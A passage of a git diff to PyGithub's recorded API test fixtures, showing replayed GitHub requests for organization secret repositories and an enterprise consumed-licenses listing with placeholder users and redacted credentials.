{/sha}","trees_url":"https://api.github.com/repos/coveooss/github-app-playground/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coveooss/github-app-playground/statuses/{sha}","languages_url":"https://api.github.com/repos/coveooss/github-app-playground/languages","stargazers_url":"https://api.github.com/repos/coveooss/github-app-playground/stargazers","contributors_url":"https://api.github.com/repos/coveooss/github-app-playground/contributors","subscribers_url":"https://api.github.com/repos/coveooss/github-app-playground/subscribers","subscription_url":"https://api.github.com/repos/coveooss/github-app-playground/subscription","commits_url":"https://api.github.com/repos/coveooss/github-app-playground/commits{/sha}","git_commits_url":"https://api.github.com/repos/coveooss/github-app-playground/git/commits{/sha}","comments_url":"https://api.github.com/repos/coveooss/github-app-playground/comments{/number}","issue_comment_url":"https://api.github.com/repos/coveooss/github-app-playground/issues/comments{/number}","contents_url":"https://api.github.com/repos/coveooss/github-app-playground/contents/{+path}","compare_url":"https://api.github.com/repos/coveooss/github-app-playground/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coveooss/github-app-playground/merges","archive_url":"https://api.github.com/repos/coveooss/github-app-playground/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coveooss/github-app-playground/downloads","issues_url":"https://api.github.com/repos/coveooss/github-app-playground/issues{/number}","pulls_url":"https://api.github.com/repos/coveooss/github-app-playground/pulls{/number}","milestones_url":"https://api.github.com/repos/coveooss/github-app-playground/milestones{/number}","notifications_url":"https://api.github.com/repos/coveooss/github-app-playground/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coveooss/github-app-playground/labels{/name}","releases_url":"https://api.github.com/repos/coveooss/github-app-playground/releases{/id}","deployments_url":"https://api.github.com/repos/coveooss/github-app-playground/deployments"}]} https GET api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories +/orgs/coveooss/actions/secrets/exclusive_secret/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -79,7 +68,7 @@ https DELETE api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories/383806965 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories/383806965 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 @@ -90,7 +79,7 @@ https GET api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories?per_page=1 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -101,7 +90,7 @@ https GET api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories +/orgs/coveooss/actions/secrets/exclusive_secret/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -112,7 +101,7 @@ https DELETE api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories/383814132 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories/383814132 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 @@ -123,7 +112,7 @@ https PUT api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories/383806965 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories/383806965 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 @@ -134,7 +123,7 @@ https GET api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories?per_page=1 +/orgs/coveooss/actions/secrets/exclusive_secret/repositories?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -145,10 +134,9 @@ https GET api.github.com None -/orgs/coveooss/actions/secrets/EXCLUSIVE_SECRET/repositories +/orgs/coveooss/actions/secrets/exclusive_secret/repositories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:58:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9c46ac556e733674f654650c091b569b68d5584952a6ff5ee21cd8a507aa5122"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4934'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '66'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F027:50EF:347C216:6702B37:60E5C102')] {"total_count":1,"repositories":[{"id":383806965,"node_id":"MDEwOlJlcG9zaXRvcnkzODM4MDY5NjU=","name":"github-app-playground","full_name":"coveooss/github-app-playground","private":true,"owner":{"login":"coveooss","id":52070292,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUyMDcwMjky","avatar_url":"https://avatars.githubusercontent.com/u/52070292?v=4","gravatar_id":"","url":"https://api.github.com/users/coveooss","html_url":"https://github.com/coveooss","followers_url":"https://api.github.com/users/coveooss/followers","following_url":"https://api.github.com/users/coveooss/following{/other_user}","gists_url":"https://api.github.com/users/coveooss/gists{/gist_id}","starred_url":"https://api.github.com/users/coveooss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveooss/subscriptions","organizations_url":"https://api.github.com/users/coveooss/orgs","repos_url":"https://api.github.com/users/coveooss/repos","events_url":"https://api.github.com/users/coveooss/events{/privacy}","received_events_url":"https://api.github.com/users/coveooss/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coveooss/github-app-playground","description":"To test GitHub API calls","fork":false,"url":"https://api.github.com/repos/coveooss/github-app-playground","forks_url":"https://api.github.com/repos/coveooss/github-app-playground/forks","keys_url":"https://api.github.com/repos/coveooss/github-app-playground/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coveooss/github-app-playground/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coveooss/github-app-playground/teams","hooks_url":"https://api.github.com/repos/coveooss/github-app-playground/hooks","issue_events_url":"https://api.github.com/repos/coveooss/github-app-playground/issues/events{/number}","events_url":"https://api.github.com/repos/coveooss/github-app-playground/events","assignees_url":"https://api.github.com/repos/coveooss/github-app-playground/assignees{/user}","branches_url":"https://api.github.com/repos/coveooss/github-app-playground/branches{/branch}","tags_url":"https://api.github.com/repos/coveooss/github-app-playground/tags","blobs_url":"https://api.github.com/repos/coveooss/github-app-playground/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coveooss/github-app-playground/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coveooss/github-app-playground/git/refs{/sha}","trees_url":"https://api.github.com/repos/coveooss/github-app-playground/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coveooss/github-app-playground/statuses/{sha}","languages_url":"https://api.github.com/repos/coveooss/github-app-playground/languages","stargazers_url":"https://api.github.com/repos/coveooss/github-app-playground/stargazers","contributors_url":"https://api.github.com/repos/coveooss/github-app-playground/contributors","subscribers_url":"https://api.github.com/repos/coveooss/github-app-playground/subscribers","subscription_url":"https://api.github.com/repos/coveooss/github-app-playground/subscription","commits_url":"https://api.github.com/repos/coveooss/github-app-playground/commits{/sha}","git_commits_url":"https://api.github.com/repos/coveooss/github-app-playground/git/commits{/sha}","comments_url":"https://api.github.com/repos/coveooss/github-app-playground/comments{/number}","issue_comment_url":"https://api.github.com/repos/coveooss/github-app-playground/issues/comments{/number}","contents_url":"https://api.github.com/repos/coveooss/github-app-playground/contents/{+path}","compare_url":"https://api.github.com/repos/coveooss/github-app-playground/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coveooss/github-app-playground/merges","archive_url":"https://api.github.com/repos/coveooss/github-app-playground/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coveooss/github-app-playground/downloads","issues_url":"https://api.github.com/repos/coveooss/github-app-playground/issues{/number}","pulls_url":"https://api.github.com/repos/coveooss/github-app-playground/pulls{/number}","milestones_url":"https://api.github.com/repos/coveooss/github-app-playground/milestones{/number}","notifications_url":"https://api.github.com/repos/coveooss/github-app-playground/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coveooss/github-app-playground/labels{/name}","releases_url":"https://api.github.com/repos/coveooss/github-app-playground/releases{/id}","deployments_url":"https://api.github.com/repos/coveooss/github-app-playground/deployments"}]} - diff --git a/tests/ReplayData/PaginatedList.setUp.txt b/tests/ReplayData/PaginatedList.setUp.txt index b38ffadf10..68bfb38608 100644 --- a/tests/ReplayData/PaginatedList.setUp.txt +++ b/tests/ReplayData/PaginatedList.setUp.txt @@ -20,3 +20,13 @@ None [('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e7459f63683768d5b53fc4b246d13a10"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1745,"updated_at":"2012-05-29T19:23:07Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","html_url":"https://github.com/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":4232,"git_url":"git://github.com/openframeworks/openFrameworks.git","private":false,"open_issues":333,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"name":"openFrameworks","mirror_url":null,"language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","pushed_at":"2012-05-29T19:23:07Z","created_at":"2009-10-21T21:55:54Z","id":345337,"full_name":"openframeworks/openFrameworks"} +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cec25a870aded5f7c26c9e549d31f9b91d887121b0f77b72446fe2f4a8eaf6d2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4829'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '171'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F8E3:4B9F:2EB3A7:310B95:64C1FE38')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user001","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user001","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user002","github_com_name":"beaver-user002","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user002","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user003","github_com_name":"beaver-user003","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user003","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user003@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user004","github_com_name":"beaver-user004","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user004","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user005","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user005","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user006","github_com_name":"beaver-user006","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user006","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user007","github_com_name":"beaver-user007","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user007","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user008","github_com_name":"beaver-user008","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user008","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user009","github_com_name":"beaver-user009","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user009","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user010","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user010","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user011","github_com_name":"beaver-user011","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user011","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator","Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user012","github_com_name":"beaver-user012","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user012","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user013","github_com_name":"beaver-user013","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user013","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user013@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user014","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user014","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user015","github_com_name":"beaver-user015","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user015","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user016","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user016","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user016@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user017","github_com_name":"beaver-user017","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user017","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user018","github_com_name":"beaver-user018","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user018","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user019","github_com_name":"beaver-user019","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user019","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user020","github_com_name":"beaver-user020","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user020","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user020@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user021","github_com_name":"beaver-user021","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user021","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user022","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user022","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user022@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user023","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user023","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user024","github_com_name":"beaver-user024","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user024","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user025","github_com_name":"beaver-user025","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user025","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user026","github_com_name":"beaver-user026","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user026","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user027","github_com_name":"beaver-user027","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user027","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user027@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user028","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user028","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user029","github_com_name":"beaver-user029","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user029","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to 